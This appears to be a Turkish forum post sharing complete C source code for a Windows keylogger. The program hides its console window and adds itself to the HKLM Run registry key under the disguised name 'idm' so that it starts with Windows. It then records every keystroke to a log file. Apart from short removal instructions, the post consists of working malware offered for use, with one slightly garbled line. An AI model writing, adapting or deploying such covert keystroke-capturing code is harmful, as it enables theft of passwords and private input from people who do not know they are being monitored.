C ile yapılan (c++ değil) keylogger. Kapatmak için görev yöneticisini kullanın. ve başlangıçta açılmaması için gösterilen regedit yoluna gidip oluşturulan dosyayı silin.
Kod:
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
**** yaz(int karakter,char * dosya) // 4 yıldız olan yeri silip v o i d yazın. boşluksuz
{
FILE *kaydet;
kaydet = fopen(dosya,"a+");
switch(karakter)
{
case 8:
{
fprintf(kaydet,"*Geri*");
break;
}
case 9:
{
fprintf(kaydet,"*TAB*");
break;
}
case 13:
{
fprintf(kaydet,"*ENTER*");
break;
}
case 16:
{
fprintf(kaydet,"*SHIFT*");
break;
}
case 17:
{
fprintf(kaydet,"*KONTROL*");
break;
}
case 18:
{
fprintf(kaydet,"*ALT*");
break;
}
case 20:
{
fprintf(kaydet,"*CAPS LOCK*");
break;
}
case 27:
{
fprintf(kaydet,"*ESC*");
break;
}
case 35:
{
fprintf(kaydet,"*END*");
break;
}
case 36:
{
fprintf(kaydet,"*HOME*");
break;
}
case 37:
{
fprintf(kaydet,"*SOL*");
break;
}
case 38:
{
fprintf(kaydet,"*YUKARI*");
break;
}
case 39:
{
fprintf(kaydet,"*SAĞ*");
break;
}
case 40:
{
fprintf(kaydet,"*AŞAĞI*");
break;
}
case 42:
{
fprintf(kaydet,"*PRINT*");
break;
}
case 43:
{
fprintf(kaydet,"*EXECUTE*");
break;
}
case 44:
{
fprintf(kaydet,"*SNAPSHOT*");
break;
}
case 45:
{
fprintf(kaydet,"*INSERT*");
break;
}
case 46:
{
fprintf(kaydet,"*DELETE*");
break;
}
case 144:
{
fprintf(kaydet,"*NUMLOCK*");
break;
}
case 145:
{
fprintf(kaydet,"*SCROLL*");
break;
}
default:
{
if(112<=karakter && karakter<=123)
{
fprintf(kaydet,"%s%d%s","[F",karakter-111,"]");
break;
}
fprintf(kaydet,"%c",karakter);
break;
}
}
fclose(kaydet);
}
int main()
{
HWND ns;
TCHAR yol[260];
HKEY yeni;
AllocConsole(); //Uygulamamızı gizlemek için iki komut.
ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0);
GetModuleFileName(NULL,yol,260); //Uygulamamızı bulunduğu yeri kopyalar.
RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",¥i); // Regeditte Başlangıçta açılan programlar yerinde bir değer açar.
RegSetValueEx(yeni,"idm",0,REG_SZ,(LPBYTE) yol,sizeof(yol)); // Açılan değere bizim dosya yolu verilir.
RegCloseKey(yeni);
char i;
while(1) // Döngümüz.
{
for(i = 8;i<=190;i++)
{
if(GetAsyncKeyState(i) == -32767) // Bu komut döngüdedir. Bir tuşa bastığımızda içindeki değerle eşleşince (ki döngü yaptık bunun için) -32767 sayısını döndürür.
{
yaz(i,(char *)"log.txt");
}
}
}
return 0;
}
Son düzenleme:


